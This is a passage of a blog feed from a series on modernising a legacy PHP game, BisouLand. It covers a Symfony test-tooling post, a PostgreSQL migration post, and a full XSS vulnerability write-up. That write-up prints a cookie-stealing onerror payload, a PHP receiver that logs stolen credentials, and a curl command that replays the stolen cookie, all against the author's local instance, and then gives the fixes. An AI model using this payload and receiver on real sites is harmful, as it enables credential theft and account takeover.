        &lt;?php echo $action_name; ?&gt; $&lt;?php echo $action_camel; ?&gt;,
    ): JsonResponse {
        $&lt;?php echo lcfirst($action_output_name); ?&gt; = $this-&gt;&lt;?php echo $action_camel; ?&gt;Handler-&gt;run($&lt;?php echo $action_camel; ?&gt;);

        return new JsonResponse(
            json_encode($&lt;?php echo lcfirst($action_output_name); ?&gt;-&gt;toArray(), \JSON_THROW_ON_ERROR),
            Response::HTTP_CREATED,
            json: true,
        );
    }
}
</code></pre>

<p>The result is a generator that knows your project's conventions as well as you do.</p>

<blockquote>
  <p>🎶 <strong>Modern Symfony</strong>: MakerBundle is best known for generating controllers, entities,
  and form types, but its real power is that it is extensible. Any repetitive file
  structure in your project, a command handler pair, an event with its listener, a
  domain object with its repository and tests, is a candidate for a custom maker.
  The API is straightforward, the templates are plain PHP, and the payoff compounds
  every time a new developer joins the project and generates their first file in seconds
  rather than copy-pasting for an hour.</p>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>BisouLand is a 2005 LAMP application with no test harness, no clean architecture.</p>

<p>Rather than fighting that, I built a separate Symfony 8 application alongside it:
a Test Control Interface that anyone on the team can use to reach any game state in seconds.</p>

<p>This is not new. Bumble has been running QAAPI since 2013 across a much larger
codebase, used by every role from developer to QA to designer.
The idea translates cleanly to any stack.</p>

<p>What Symfony 8 brings is that the boilerplate cost is near zero:</p>

<ul>
<li><code>#[AsCommand]</code>, <code>#[Argument]</code>, <code>#[Option]</code> replace <code>configure()</code> and <code>execute()</code></li>
<li><code>#[Route]</code> and <code>#[MapRequestPayload]</code> replace manual deserialization and validation</li>
<li>Constructor injection and <code>readonly</code> classes keep handlers and DTOs concise</li>
<li>MakerBundle lets you extend the generator to match your own architecture</li>
</ul>

<p>Adding a new action to Qalin takes minutes, not hours.
The generated code is consistent, tested, and immediately usable from the terminal,
the web UI, or a PHPUnit test.</p>

<p>Want to learn more?</p>

<ul>
<li><a href="https://github.com/pyricau/bisouland/tree/4.0.25">browse BisouLand / Qalin source code on Github</a></li>
<li><a href="/tags/extreme-legacy">read more about modernising this eXtreme Legacy app</a></li>
<li><a href="https://www.geepawhill.org/2024/10/01/basic-concepts-of-the-making-app/">GeePaw Hill's "Making App"</a>:
a related concept where developers interact with a dedicated UI instead of
the real app, pointed out by <a href="https://bsky.app/profile/kuba.zalas.pl">Jakub Zalas</a>.
The Making App is a developer-only UI that replaces the actual app entirely,
whereas a Test Control Interface like Qalin sits alongside it</li>
</ul>

<h3 id="retrospective">Retrospective</h3>

<p>Qalin went from zero to usable in two weeks. One thing worth exploring in a future
iteration is self-documenting input DTOs.</p>

<p>In QAAPI, a method is self-describing: <code>getDescription()</code> documents the method itself,
and each parameter is declared via a builder that carries its own description:</p>

<pre><code class="php">'seconds' =&gt; \QAAPI\Params\PositiveInteger::create()
    -&gt;setDescription('Offset in seconds'),
</code></pre>

<p>In Qalin, the input DTO is a plain <code>readonly</code> class. The parameter descriptions live
only in the MakerBundle invocation, then get scattered across <code>#[Argument]</code> and
<code>#[Option]</code> attributes in the CLI command. They are not available to the web template,
where a tooltip next to each field would meaningfully improve usability.</p>

<p>A natural starting point would be a <code>getDescription()</code> method on the input DTO, and
custom PHP attributes to carry per-parameter metadata:</p>

<pre><code class="php">#[ActionDescription('Instantly upgrade an upgradable for free')]
final readonly class UpgradeInstantlyForFree
{
    public function __construct(
        #[ParameterDescription('an existing username')]
        public string $username,
        #[ParameterDescription('heart, mouth, legs, etc')]
        public string $upgradable,
        #[ParameterDescription('how many levels to upgrade at once')]
        public int $levels = 1,
    ) {
    }
}
</code></pre>

<p>That metadata could then be read via reflection and surfaced in the web template as
tooltips, and injected into <code>--help</code> output on the CLI.</p>

<p>The trade-off is that building CLI commands dynamically from DTO metadata means giving
up <code>#[Argument]</code> and <code>#[Option]</code> on <code>__invoke()</code>. The command would go back to
<code>configure()</code> and <code>execute()</code>, constructed at runtime from reflected attributes rather
than declared statically. That is perfectly fine: <code>#[Argument]</code> and <code>#[Option]</code> shine
for the common case, lowering the bar for anyone writing their first command. When
requirements grow more dynamic, the traditional API is still there, just as capable.
The new attributes and the old approach are not in competition; they serve different
needs, and Symfony giving us both is the point.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 9: XSS Vulnerability]]></title>
            <link href="/2026/01/21/xl-9-xss-vulnerability.html"/>
            <updated>2026-01-21T00:00:00+00:00</updated>
            <id>/2026/01/21/xl-9-xss-vulnerability.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>🤘 Awakened by the sins of forgotten sanitization,
  the Cookie Burglar breaches the walls of client-side trust,
  stealing credentials from the altar of the Script Injector with its serpentine payloads! 🔥</p>
</blockquote>

<p>In this series, we're dealing with BisouLand, an eXtreme Legacy application
(2005 LAMP spaghetti code base). So far, we have:</p>

<ol>
<li><a href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html">🐋 got it to run in a local container</a></li>
<li><a href="/2025/09/17/xl-2-smoke-tests.html">💨 written Smoke Tests</a></li>
<li><a href="/2025/09/24/xl-3-end-to-end-tests.html">🎯 written End to End Tests</a></li>
<li><a href="/2025/10/01/xl-4-coding-standards.html">🧹 created and applied Coding Standards</a></li>
<li><a href="/2025/10/22/xl-5-pdo.html">⛃ migrated to PDO</a></li>
<li><a href="/2025/11/19/xl-6-php-8.html">🐘 upgraded PHP 5 to PHP 8</a></li>
<li><a href="/2025/11/26/xl-7-rector.html">🏡 applied automated refactorings using Rector</a></li>
<li><a href="/2025/12/03/xl-8-postgresql.html">🐘 migrated from MySQL to PostgreSQL</a></li>
</ol>

<p>This means we can run it locally (http://localhost:43000/),
and have some level of automated tests.</p>

<p>When migrating from the deprecated PHP extension <code>mysql</code> to <code>PDO</code>,
we were expecting to find some SQL injection vulnerabilities,
as the queries were written by concatenating user input.</p>

<p>But to our surprise, none of these were exploitable,
as the user input was sanitised and validated
(e.g. only 15 alphanumerical characters for the username, <code>addslashes</code>, <code>htmlentities</code>, ...).</p>

<p>Still, <a href="https://paragonie.com/blog/2017/12/2018-guide-building-secure-php-software#secure-php-databases">following the Secure PHP Database recommendations</a>, we:</p>

<ul>
<li>migrated away from user input concatenated in the SQL query to prepared statements</li>
<li>made sure to disable emulated prepared statement</li>
</ul>

<p>In today's article, we'll explore an actually exploitable vulnerability
which allows an attacker to steal a victim's credentials and impersonate them.</p>

<ul>
<li><a href="#the-vulnerabilities">The vulnerabilities</a>

<ul>
<li><a href="#weak-password-hashing">Weak password hashing</a></li>
<li><a href="#credentials-in-cookies">Credentials in cookies</a></li>
<li><a href="#unsafe-cookies">Unsafe cookies</a></li>
<li><a href="#xss-in-private-messages">XSS in private messages</a></li>
</ul></li>
<li><a href="#attack-demonstration">Attack demonstration</a></li>
<li><a href="#remediation">Remediation</a>

<ul>
<li><a href="#password-hashing-functions">Password hashing functions</a></li>
<li><a href="#auth-token-in-cookies">Auth Token in cookies</a></li>
<li><a href="#escaping-user-input">Escaping user input</a></li>
</ul></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="the-vulnerabilities">The Vulnerabilities</h2>

<p>First we're going to look at different sections of the code.</p>

<h3 id="authentication">Authentication</h3>

<p>Let's start with how logging in is handled:</p>

<pre><code class="php">// phpincludes/app.php
// ---------- Visitor Logs in

if ('POST' === $_SERVER['REQUEST_METHOD'] &amp;&amp; isset($_POST['connexion'])) {
    // Ensuite on vérifie que les variables existent et contiennent quelque chose :)
    if (isset($_POST['pseudo'], $_POST['mdp']) &amp;&amp; !empty($_POST['pseudo']) &amp;&amp; !empty($_POST['mdp'])) {
        // Mesure de sécurité, notamment pour éviter les injections sql.
        // Le htmlentities évitera de le passer par la suite.
        $pseudo = htmlentities((string) $_POST['pseudo']);
        $mdp = htmlentities((string) $_POST['mdp']);
        // Hashage du mot de passe.
        $mdp = md5($mdp);

        // ---------- Persist the authentication (cookie creation)
        // La requête qui compte le nombre de pseudos
        $stmt = $pdo-&gt;prepare('SELECT COUNT(*) AS nb_pseudo FROM membres WHERE pseudo = :pseudo');
        $stmt-&gt;execute(['pseudo' =&gt; $pseudo]);

        // La on vérifie si le nombre est différent que zéro
        if (0 != $stmt-&gt;fetchColumn()) {
            // Sélection des informations.
            $stmt = $pdo-&gt;prepare('SELECT id, confirmation, mdp, nuage FROM membres WHERE pseudo = :pseudo');
            $stmt-&gt;execute(['pseudo' =&gt; $pseudo]);
            $donnees_info = $stmt-&gt;fetch();

            if (isset($_POST['auto'])) {
                $timestamp_expire = time() + 30 * 24 * 3600;
                setcookie('pseudo', $pseudo, ['expires' =&gt; $timestamp_expire]);
                setcookie('mdp', $mdp, ['expires' =&gt; $timestamp_expire]);
            }
        }
    }
}
</code></pre>

<p>And here's how the cookie based authentication is done:</p>

<pre><code class="php">// phpincludes/app.php
// ---------- Authenticate player (using cookie)

// Si on est pas connecté.
if (false == $_SESSION['logged']) {
    $id = 0;
    // On récupère les cookies enregistrés chez l'utilisateurs, s'ils sont la.
    if (isset($_COOKIE['pseudo']) &amp;&amp; isset($_COOKIE['mdp'])) {
        $pseudo = htmlentities(addslashes((string) $_COOKIE['pseudo']));
        $mdp = htmlentities(addslashes($_COOKIE['mdp']));
        // La requête qui compte le nombre de pseudos
        $stmt = $pdo-&gt;prepare('SELECT COUNT(*) AS nb_pseudo FROM membres WHERE pseudo = :pseudo');
        $stmt-&gt;execute(['pseudo' =&gt; $pseudo]);

        if (0 != $stmt-&gt;fetchColumn()) {
            // Sélection des informations.
            $stmt = $pdo-&gt;prepare('SELECT id, confirmation, mdp, nuage FROM membres WHERE pseudo = :pseudo');
            $stmt-&gt;execute(['pseudo' =&gt; $pseudo]);
            $donnees_info = $stmt-&gt;fetch();

            // Si le mot de passe est le même (le mot de passe est déjà crypté).
            // Si le compte est confirmé.
            if ($donnees_info['mdp'] == $mdp &amp;&amp; true === $donnees_info['confirmation']) {
                // On modifie la variable qui nous indique que le membre est connecté.
                $_SESSION['logged'] = true;
                // On créé les variables contenant des informations sur le membre.
                $_SESSION['id'] = $donnees_info['id'];
                $_SESSION['pseudo'] = $pseudo;
                $_SESSION['nuage'] = $donnees_info['nuage'];
                $page = 'cerveau';
            }
        }
    }
}
</code></pre>

<p>We can already spot some issues here.</p>

<h4 id="weak-password-hashing">Weak password hashing</h4>

<p>First on the list is the following:</p>

<pre><code class="php">$mdp = md5($mdp);
</code></pre>

<p>MD5 is a weak password hashing strategy for several reasons:</p>

<ul>
<li><strong>Speed</strong>: MD5 was designed to be fast (billions of hashes per second on modern hardware),
making brute-force attacks trivial

<ul>
<li><strong>Single iteration</strong>: Proper algorithms use thousands of iterations to slow attackers, MD5 uses one</li>
<li><strong>Collision vulnerability</strong>: MD5 is cryptographically broken,
as attackers can generate different inputs that produce the same hash</li>
</ul></li>
<li><strong>Rainbow tables</strong>: Precomputed hash databases allow instant lookups</li>
<li><strong>No salt</strong>: Two users with the same password get identical hashes, enabling mass cracking</li>
</ul>

<p>This means stolen MD5 hashes can be reversed to plain text passwords,
allowing attackers to access accounts and potentially other sites where victims reused passwords.</p>

<h4 id="credentials-in-cookies">Credentials in cookies</h4>

<p>Second on the list are the actual credentials (username and password) being stored in the cookies:</p>

<pre><code class="php">setcookie('pseudo', $pseudo, ['expires' =&gt; $timestamp_expire]);
setcookie('mdp', $mdp, ['expires' =&gt; $timestamp_expire]);
</code></pre>

<p>This is fundamentally flawed:</p>

<ul>
<li><strong>Sent with every request</strong>: Credentials are transmitted with every HTTP request,
increasing exposure unnecessarily</li>
<li><strong>Cannot be revoked</strong>: There's no server-side session to invalidate,
the only way to revoke access is to change the password</li>
<li><strong>Client-side storage risks</strong>: Credentials persist in browser storage,
accessible to browser extensions and local malware</li>
<li><strong>Stolen cookies = stolen passwords</strong>: An attacker with the cookie hash
has the actual password hash, which can be cracked offline</li>
</ul>

<h4 id="unsafe-cookies">Unsafe cookies</h4>

<p>Third on the list is how we set the cookies:</p>

<pre><code class="php">setcookie('pseudo', $pseudo, ['expires' =&gt; $timestamp_expire]);
setcookie('mdp', $mdp, ['expires' =&gt; $timestamp_expire]);
</code></pre>

<p>Here we're leaving the default settings for the following options:</p>

<ul>
<li><code>httponly</code>: defaults to <code>false</code>,
which means the cookie can be used by JavaScript scripts</li>
<li><code>secure</code>: defaults to <code>false</code>,
which means the cookie can be sent over HTTP (as opposed to only be sent through HTTPS)</li>
<li><code>samesite</code>: not set,
which means the cookie can be sent to other sites</li>
</ul>

<h3 id="private-messages">Private Messages</h3>

<p>Let's resume our review of the code as there's more,
especially with the handling of private messages which are stored in the database
as follow:</p>

<pre><code class="php">// phpincludes/fctIndex.php
function AdminMP($cible, $objet, $message, bool $lu = false): void
{
    $pdo = bd_connect();
    $castToPgBoolean = cast_to_pg_boolean();
    $castToPgTimestamptz = cast_to_pg_timestamptz();
    $message = nl2br((string) $message);

    $stmt = $pdo-&gt;prepare('SELECT COUNT(*) AS nbmsg FROM messages WHERE destin = :destin');
    $stmt-&gt;execute(['destin' =&gt; $cible]);

    $nbmsg = $stmt-&gt;fetchColumn();
    if ($nbmsg &gt;= 20) {
        $Asuppr = $nbmsg - 19;
        $stmt = $pdo-&gt;prepare(
            'DELETE FROM messages'
            .' WHERE ('
            .'     destin = :destin'
            ."     AND timestamp &lt;= CURRENT_TIMESTAMP - INTERVAL '48 hours'"
            .' )'
            .' ORDER BY id LIMIT :limit',
        );
        $stmt-&gt;execute(['destin' =&gt; $cible, 'limit' =&gt; $Asuppr]);
    }

    $timestamp = time();
    $stmt = $pdo-&gt;prepare(
        'INSERT INTO messages'
        .' (id, posteur, destin, message, timestamp, statut, titre)'
        .' VALUES(:id, :posteur, :destin, :message, :timestamp, :statut, :titre)',
    );
    $stmt-&gt;execute([
        'id' =&gt; Uuid::v7(),
        'posteur' =&gt; '00000000-0000-0000-0000-000000000001',
        'destin' =&gt; $cible,
        'message' =&gt; $message,
        'timestamp' =&gt; $castToPgTimestamptz-&gt;fromUnixTimestamp($timestamp),
        'statut' =&gt; $castToPgBoolean-&gt;from($lu),
        'titre' =&gt; $objet],
    );
}
</code></pre>

<p>And finally when they are displayed, the values from the database are printed directly:</p>

<pre><code class="php">// phpincludes/lire.php
if (true === $_SESSION['logged']) {
    $pdo = bd_connect();
    $castToUnixTimestamp = cast_to_unix_timestamp();

    if (isset($_GET['idmsg']) &amp;&amp; !empty($_GET['idmsg'])) {
        $idmsg = htmlentities((string) $_GET['idmsg']);
        $stmt = $pdo-&gt;prepare('SELECT posteur, destin, message, timestamp, statut, titre FROM messages WHERE id = :id');
        $stmt-&gt;execute(['id' =&gt; $idmsg]);
        $donnees = $stmt-&gt;fetch();
        if ($donnees['destin'] == $_SESSION['id']) {
            if (false === $donnees['statut']) {
                $stmt2 = $pdo-&gt;prepare('UPDATE messages SET statut = TRUE WHERE id = :id');
                $stmt2-&gt;execute(['id' =&gt; $idmsg]);
            }
            $stmt = $pdo-&gt;prepare('SELECT pseudo FROM membres WHERE id = :id');
            $stmt-&gt;execute(['id' =&gt; $donnees['posteur']]);
            $donnees2 = $stmt-&gt;fetch();
            $from = $donnees2['pseudo'];

            $objet = $donnees['titre'];
            $message = $donnees['message'];
            $dateEnvoie = $castToUnixTimestamp-&gt;fromPgTimestamptz($donnees['timestamp']);
            ?&gt;

&lt;a href="boite.html" title="Messages"&gt;Retour à la liste des messages&lt;/a&gt;
&lt;br /&gt;
&lt;p&gt;Auteur : &lt;?php echo stripslashes((string) $from); ?&gt;&lt;/p&gt;
&lt;p&gt;Envoyé le &lt;?php echo date('d/m/Y à H\hi', $dateEnvoie); ?&gt;&lt;/p&gt;
&lt;p&gt;Objet : &lt;?php echo stripslashes((string) $objet); ?&gt;&lt;/p&gt;
Message :&lt;br /&gt;
&lt;div class="message"&gt;&lt;?php echo bbLow($message); ?&gt;&lt;/div&gt;
</code></pre>

<p>There's one last problematic issue with the code above.</p>

<h4 id="xss-in-private-messages">XSS in private messages</h4>

<p>Last, but certainly not least. We can see in <code>AdminMP()</code> that private messages are stored
in the database without any validation or sanitization.</p>

<p>This allows players to write malicious code (HTML, JavaScript) in their message,
which will then be permanently stored.</p>

<p>When they are displayed, these messages are again printed as is straight from the database,
without sanitization, which means that any malicious code (HTML, JavaScript) will be displayed and executed.</p>

<p>This opens the door to Cross Site Scripting (XSS) attacks.</p>

<hr />

<h2 id="attack-demonstration">Attack demonstration</h2>

<p>Security Vulnerabilities have been found, but can they actually be used?</p>

<p>Given the lack of <code>httponly</code>, <code>secure</code> and <code>samesite</code> options,
it should be possible to obtain the credentials
(and that's without physical access to the computer!).</p>

<p>Let's demonstrate how the attack can be executed in 4 steps:</p>

<ol>
<li>Attacker logs in, and sends a private message to their victim</li>
<li>The victim logs in, checks their inbox, clicks to view the attacker's message</li>
<li>On being displayed, the message executes the JavaScript which sends the victim's cookie to the attacker's server</li>
<li>The attacker receives the cookie on their server, and can create forged cookies to authenticate as the victim</li>
</ol>

<p>Here's an example of message an attacker can craft:</p>

<pre><code>ALL YOUR BASE ARE BELONG TO US
&lt;img src=x onerror="new Image().src='http://localhost:8080/steal?c='+document.cookie"&gt;
HAHAHA
</code></pre>

<p>The <code>onerror</code> attribute will execute the JavaScript when the image fails to load,
and the <code>new Image().src</code> makes an HTTP request with the victim's cookies.</p>

<p><img alt="BisouLand screenshot" src="/images/xl-9-mischief-achived.png" width="100%" /></p>

<p>This will happen without the knowledge of the victim!</p>

<p>Here's a demo server we can use to test this:</p>

<pre><code class="php">&lt;?php
/**
 * File (for demonstration purpose only): xl-9-attacker-server.php
 *
 * Receives stolen cookies from payloads injected into the BisouLand messaging system.
 * Demonstrates how credentials are exfiltrated via JavaScript in real attack scenarios.
 *
 * Usage: php -S localhost:8080 xl-9-attacker-server.php
 */

function server_log(string $message): void {
    $receivedAt = new \DateTimeImmutable()-&gt;format('D M j H:i:s Y');

    file_put_contents('php://stderr', "[{$receivedAt}] {$message}\n");
}

// Parse cookies
$cookies = [];
parse_str(str_replace('; ', '&amp;', $_GET['c'] ?? ''), $cookies);

// Display to console
$username = $cookies['pseudo'] ?? '';
$password = $cookies['mdp'] ?? '';
server_log("c is for cookies, that's good enough for me");
server_log("  Username: {$username}");
server_log("  Password: {$password}");

// Send response
http_response_code(204);
</code></pre>

<p>The attacker will receive on their server:</p>

<pre><code>[Tue Dec 2 18:11:34 2025] c is for cookies, that's good enough for me
[Tue Dec 2 18:11:34 2025]   Username: ln42
[Tue Dec 2 18:11:34 2025]   Password: 25d55ad283aa400af464c76d713c07ad
</code></pre>

<p>And can use them to access the victim's account:</p>

<pre><code class="bash">curl --cookie 'pseudo=ln42; mdp=25d55ad283aa400af464c76d713c07ad' http://localhost:43000/cerveau.html
</code></pre>

<hr />

<h2 id="remediation">Remediation</h2>

<p>Now that we've identified the vulnerabilities, let's fix them systematically.</p>

<h3 id="password-hashing-functions">Password hashing functions</h3>

<p>Let's follow <a href="https://paragonie.com/blog/2017/12/2018-guide-building-secure-php-software#secure-php-passwords">the secure PHP Password Hashing recommendations</a>,
which suggest using the <code>password_*()</code> functions available since PHP 5.5.</p>

<p>First in <code>phpincludes/inscription.php</code>,
we'll hash the password with a proper algorithm
(as of PHP 5.5, it's Bcrypt, but might be changed for Argon2 in the future):</p>

<pre><code class="diff">- // Hashage du mot de passe avec md5().
- $hmdp = md5($mdp);
+ // Hashage du mot de passe avec Bcrypt ou Argon2.
+ $hmdp = password_hash($mdp, \PASSWORD_DEFAULT);

  $id = Uuid::v7();
  $stmt = $pdo-&gt;prepare(
      'INSERT INTO membres (id, pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
      .' VALUES (:id, :pseudo, :mdp, :confirmation, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, :amour)',
  );
  $stmt-&gt;execute([
      'id' =&gt; $id,
      'pseudo' =&gt; $pseudo,
      'mdp' =&gt; $hmdp,
      'confirmation' =&gt; $castToPgBoolean-&gt;from(true),
      'amour' =&gt; 300,
  ]);
</code></pre>

<p>Then in <code>phpincludes/app.php</code> when the visitor attempts to login,
we use <code>password_verify()</code> to compare the hash stored in the database,
and the plain text password provided:</p>

<pre><code class="diff">  $mdp = htmlentities((string) $_POST['mdp']);
  // Hashage du mot de passe.
- $mdp = md5($mdp);

  // Si le mot de passe est le même.
- if ($donnees_info['mdp'] == $mdp) {
+ if (password_verify($mdp, $donnees_info['mdp'])) {
</code></pre>

<h3 id="auth-token-in-cookies">Auth Token in cookies</h3>

<p>Next, we're going to follow 
<a href="https://paragonie.com/blog/2015/04/secure-authentication-php-with-long-term-persistence#title.2.1">the secure authentication in PHP with long term persistence</a>,
which recommend the creation of authentication tokens.</p>

<p>We're going to change the <code>Persist the authentication (cookie creation)</code> section,
replacing it with the creation of an Auth Token which we'll save in the database,
and then store in the cookie:</p>

<pre><code class="php">        // ---------- Persist the authentication (cookie creation)
        // Instead of counting matches, then selecting pseudonym
        // we directly select the account ID
        $stmt = $pdo-&gt;prepare(&lt;&lt;&lt;'SQL'
            SELECT id AS account_id
            FROM membres
            WHERE pseudo = :pseudonym
        SQL);
        $stmt-&gt;execute(['pseudonym' =&gt; $pseudo]);
        /**
         * @var array&lt;{
         *     account_id: string, // UUID
         * }&gt;|false $account
         */
        $account = $stmt-&gt;fetch();
        if (false !== $account) {
            // Using Symfony\Component\Uid\Uuid
            // This is the "selector"
            $authTokenId = Uuid::v7();

            // 32 random hexadecimal characters
            // This is stored directly in the cookie
            $plainToken = bin2hex(random_bytes(16));

            // The hash is stored in the database
            // If the table's content is leaked, it won't give what the cookies hold
            $tokenHash = hash('sha256', $plainToken);

            $expiresAt = new \DateTimeImmutable('+30 days');

            $stmt = $pdo-&gt;prepare(&lt;&lt;&lt;'SQL'
                INSERT INTO auth_tokens
                (auth_token_id, token_hash, account_id, expires_at)
                VALUES (:auth_token_id, :token_hash, :account_id, :expires_at)
            SQL);
            $stmt-&gt;execute([
                'auth_token_id' =&gt; $authTokenId,
                'token_hash' =&gt; $tokenHash,
                'account_id' =&gt; $account['account_id'],
                'expires_at' =&gt; $expiresAt-&gt;format('Y-m-d\\TH:i:s.uP'),
            ]);

            setcookie(
                'bl_auth_token',
                "{$authTokenId}:{$plainToken}",
                [
                    'expires' =&gt; $expiresAt-&gt;getTimestamp(),
                    // Using safer cookie settings
                    'httponly' =&gt; true,
                    'secure' =&gt; true,
                    'samesite' =&gt; 'Strict',
                    'path' =&gt; '/',
                ],
            );
        }
</code></pre>

<p>As suggested in the Paragonie article,
we now store in the cookie <code>&lt;authTokenId&gt;:&lt;token&gt;</code>,
this way it no longer contains the username and password,
so obtaining it doesn't compromise the account entirely.</p>

<p>Here's a table to store these:</p>

<pre><code class="sql">--------------------------------------------------------------------------------
-- Authentication Tokens
-- Allows secure Authentication Persistence
--------------------------------------------------------------------------------
CREATE TABLE IF NOT EXISTS auth_tokens (
    auth_token_id UUID PRIMARY KEY,
    token_hash VARCHAR(64) NOT NULL,
    account_id UUID NOT NULL REFERENCES membres(id) ON DELETE CASCADE,
    created_at TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP,
    expires_at TIMESTAMPTZ NOT NULL DEFAULT CURRENT_TIMESTAMP + '30 days'
);
</code></pre>

<p>We also need to replace the entire <code>Authenticate player (using cookie)</code> section,
to check if the cookie is valid we'll need to hash it,
and then compare it to the hash in the database using the "constant-time" <code>hash_equals</code></p>

<pre><code class="php">if (false === $_SESSION['logged'] &amp;&amp; isset($_COOKIE['bl_auth_token'])) {
    [$authTokenId, $plainToken] = explode(':', $_COOKIE['bl_auth_token'], 2);

    $stmt = $pdo-&gt;prepare(&lt;&lt;&lt;'SQL'
        SELECT token_hash, account_id
        FROM auth_tokens
        WHERE auth_token_id = :auth_token_id
          AND expires_at &gt; CURRENT_TIMESTAMP
    SQL);
    $stmt-&gt;execute([
        'auth_token_id' =&gt; $authTokenId,
    ]);
    /** @var array{token_hash: string, account_id: string}|false $authToken */
    $authToken = $stmt-&gt;fetch();

    if (false !== $authToken) {
        $tokenHash = hash('sha256', $plainToken);
        if (hash_equals($authToken['token_hash'], $tokenHash)) {
            // Token is valid, get account details
            $stmt = $pdo-&gt;prepare(&lt;&lt;&lt;'SQL'
                SELECT id, pseudo, nuage
                FROM membres
                WHERE id = :account_id
            SQL);
            $stmt-&gt;execute([
                'account_id' =&gt; $authToken['account_id'],
            ]);
            /** @var array{id: string, pseudo: string, nuage: int}|false $account */
            $account = $stmt-&gt;fetch();

            if (false !== $account) {
                // On modifie la variable qui nous indique que le membre est connecté.
                $_SESSION['logged'] = true;
                // On créé les variables contenant des informations sur le membre.
                $_SESSION['id'] = $account['id'];
                $_SESSION['pseudo'] = $account['pseudo'];
                $_SESSION['nuage'] = $account['nuage'];
                $page = 'cerveau';
            }
        }
    }
}
</code></pre>

<h3 id="escaping-user-input">Escaping user input</h3>

<p>Finally, we can fix the XSS vulnerability by escaping the user-generated content,
such as the title and message content, before displaying it:</p>

<pre><code class="diff">  &lt;!-- phpincludes/lire.php --&gt;
  &lt;a href="boite.html" title="Messages"&gt;Retour à la liste des messages&lt;/a&gt;
  &lt;br /&gt;
  &lt;p&gt;Auteur : &lt;?php echo stripslashes((string) $from); ?&gt;&lt;/p&gt;
  &lt;p&gt;Envoyé le &lt;?php echo date('d/m/Y à H\hi', $dateEnvoie); ?&gt;&lt;/p&gt;
- &lt;p&gt;Objet : &lt;?php echo stripslashes((string) $objet); ?&gt;&lt;/p&gt;
+ &lt;p&gt;Objet : &lt;?php echo htmlspecialchars(stripslashes((string) $objet), ENT_QUOTES, 'UTF-8'); ?&gt;&lt;/p&gt;
  Message :&lt;br /&gt;
- &lt;div class="message"&gt;&lt;?php echo bbLow($message); ?&gt;&lt;/div&gt;
+ &lt;div class="message"&gt;&lt;?php echo bbLow(htmlspecialchars($message, ENT_QUOTES, 'UTF-8')); ?&gt;&lt;/div&gt;
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>In this article, we've explored a critical vulnerability chain in BisouLand
that allowed attackers to steal user credentials through XSS attacks.</p>

<p>The combination of insecure cookie handling (storing plain username and password,
missing security flags) and unescaped user-generated content
created a perfect storm for account takeover attacks.</p>

<p>The remediation steps we've implemented ensure that:</p>

<ul>
<li>Credentials are never exposed to client-side code</li>
<li>Session cookies are protected with proper security flags</li>
<li>User-generated content is properly escaped before display</li>
<li>XSS attacks can no longer steal authentication data</li>
</ul>

<p>With these fixes in place, BisouLand is significantly more secure against
the most common web application attacks.</p>

<blockquote>
  <p>⁉️ What do you mean, "how can we test if leaping feature works"?</p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 8: From MySQL to PostgreSQL]]></title>
            <link href="/2025/12/03/xl-8-postgresql.html"/>
            <updated>2025-12-03T00:00:00+00:00</updated>
            <id>/2025/12/03/xl-8-postgresql.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>🤘 The Legacy Executioner casts MySQL into the void of deprecated technologies,
  summoning PostgreSQL from the northern lands
  to claim dominion over schemas with its superior type system and extension arsenal! 🔥</p>
</blockquote>

<p>In this series, we're dealing with BisouLand, an eXtreme Legacy application
(2005 LAMP spaghetti code base). So far, we have:</p>

<ol>
<li><a href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html">🐋 got it to run in a local container</a></li>
<li><a href="/2025/09/17/xl-2-smoke-tests.html">💨 written Smoke Tests</a></li>
<li><a href="/2025/09/24/xl-3-end-to-end-tests.html">🎯 written End to End Tests</a></li>
<li><a href="/2025/10/01/xl-4-coding-standards.html">🧹 created and applied Coding Standards</a></li>
<li><a href="/2025/10/22/xl-5-pdo.html">⛃ migrated to PDO</a></li>
<li><a href="/2025/11/19/xl-6-php-8.html">🐘 upgraded PHP 5 to PHP 8</a></li>
<li><a href="/2025/11/26/xl-7-rector.html">🏡 applied automated refactorings using Rector</a></li>
</ol>

<p>This means we can run it locally (http://localhost:43000/),
and have some level of automated tests.</p>

<p>But it's still using the <strong>M</strong> in LAMP: MySQL.</p>

<p>Let's migrate to PostgreSQL instead,
which provides native support for some interesting types
(BOOLEAN, UUID and JSONB):</p>

<ul>
<li><a href="#docker">Docker</a></li>
<li><a href="#sql-syntax">SQL Syntax</a></li>
<li><a href="#types">Types</a>

<ul>
<li><a href="#boolean">Boolean</a></li>
<li><a href="#timestamp">Timestamp</a></li>
<li><a href="#uuid">UUID</a></li>
</ul></li>
<li><a href="#vanity-benchmark">Vanity Benchmark</a></li>
<li><a href="#database-reset">Database Reset</a></li>
<li><a href="#conclusion">Conclusion</a></li>
<li><a href="#bonus-improvements">Bonus Improvements</a>

<ul>
<li><a href="#filter%3A-one-query%2C-multiple-count">FILTER: One query, multiple COUNT</a></li>
<li><a href="#returning%3A-one-query%2C-a-select-and-an-update">RETURNING: One query, a select and an update</a></li>
<li><a href="#on-conflict%3A-one-query%2C-insert-or-update">ON CONFLICT: One query, insert or update</a></li>
</ul></li>
</ul>

<h2 id="docker">Docker</h2>

<p>Let's start by changing the <code>pdo_mysql</code> PHP extension to <code>pdo_pgsql</code> in <code>Dockerfile</code>:</p>

<pre><code># syntax=docker/dockerfile:1

###
# PHP Dev Container
# Utility Tools: Apache, PHP-FPM, bash, Composer
###
FROM php:8.5-fpm-alpine AS php_dev_container

# Composer environment variables:
# * default user is superuser (root), so allow them
# * put cache directory in a readable/writable location
# _Note_: When running `composer` in container, use `--no-cache` option
ENV COMPOSER_ALLOW_SUPERUSER=1 \
    COMPOSER_CACHE_DIR=/tmp/.composer/cache

# Install dependencies:
# * apache: for the webserver
# * bash: for shell access and scripting
# * postgresql: for PDO's SQL queries
# * libzip-dev: for composer packages that use ZIP archives
# _Note (Alpine)_: `--no-cache` includes `--update` and keeps image size minimal
#
